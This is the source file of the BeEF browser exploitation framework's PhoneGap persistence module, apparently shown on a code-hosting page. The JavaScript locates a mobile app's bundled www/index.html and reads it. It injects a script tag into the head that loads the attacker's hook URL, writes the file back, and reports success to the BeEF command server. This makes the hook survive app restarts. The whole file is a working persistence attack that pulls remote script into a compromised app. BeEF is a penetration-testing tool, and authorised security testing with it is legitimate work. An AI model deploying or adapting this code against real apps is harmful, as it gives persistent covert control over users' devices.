Path: blob/master/modules/phonegap/phonegap_persistence/command.js
1154 views
//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56// persistence7//8beef.execute(function() {910// insert hook into index.html11//12// 1. locate index.html13// 2. read it in14// 3. add our hook15// 4. write it back out to same location1617// 1. locate index.html18//19// list dirs under current dir20// one should be something.app21// inside that should be a www dir and in that an index.html22//2324// write the file with new hook25function write_file(text) {2627function fail () {28beef.debug('write_file fail')29}3031function gotFileWriter(writer) {32writer.onwrite = function(evt) {33beef.debug("write success");34}35writer.write(text);36}3738function gotFileEntry(fileEntry) {39fileEntry.createWriter(gotFileWriter, fail);40}4142function gotFS(fileSystem) {43fileSystem.root.getFile("../"+window.tmpfilename+"/www/index.html", null, gotFileEntry, fail);44}4546window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);4748}4950// find <head></head> and insert our hook.51function replace_text(text) {52re = new RegExp("<head>", "g");53hook_url = '<%== @hook_url %>';54new_text = text.replace(re, "<head><script src='" + hook_url + "'></script>")5556write_file(new_text);57}5859function read_index(app_name) {60function fail () {61beef.debug('read_index fail')62}6364function readFile(file) {65var reader = new FileReader();66reader.onloadend = function(evt) {67//beef.debug("Read as text");68beef.debug(evt.target.result);69replace_text(evt.target.result);70};71reader.readAsText(file);72}7374function gotFileEntry(fileEntry) {75fileEntry.file(readFile, fail);76}7778function gotFS(fileSystem) {79fileSystem.root.getFile("../"+app_name+"/www/index.html", null, gotFileEntry, fail);80}8182window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);83}8485function locate() {8687function result(entries) {88beef.debug('result');89var i;90for (i=0; i<entries.length; i++) {91// looking for <something>.app92var re = new RegExp(/^[a-zA-Z0-9]*\.app/)93var match = re.exec(entries[i].name)94if (match) {95beef.debug('found ' + entries[i].name);9697// look for ../<something>.app/www/index.html98read_index(entries[i].name);99100// FIXME find a less hacky way101// just wanted to make this global so I didnt have to call it again to write the file102window.tmpfilename = entries[i].name;103}104}105}106107108function fail() {109beef.debug('fail');110}111112function win(entries) {113beef.debug('win');114result(entries);115}116117// use directoryentry to create directory reader118function gotDirEntry(dirEntry) {119var directoryReader = dirEntry.createReader();120directoryReader.readEntries(win,fail);121}122123// use getDirectoy to create reference to directoryentry124function gotFS(fileSystem) {125// on iphone current dir defaults to <myname>.app/documents126// so we wanna look in our parent directory for <something>.app127fileSystem.root.getDirectory('../', null, gotDirEntry, fail);128}129130window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);131}132133134//result = fail;135//beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result);136137locate();138result = 'success';139beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result);140141});142143144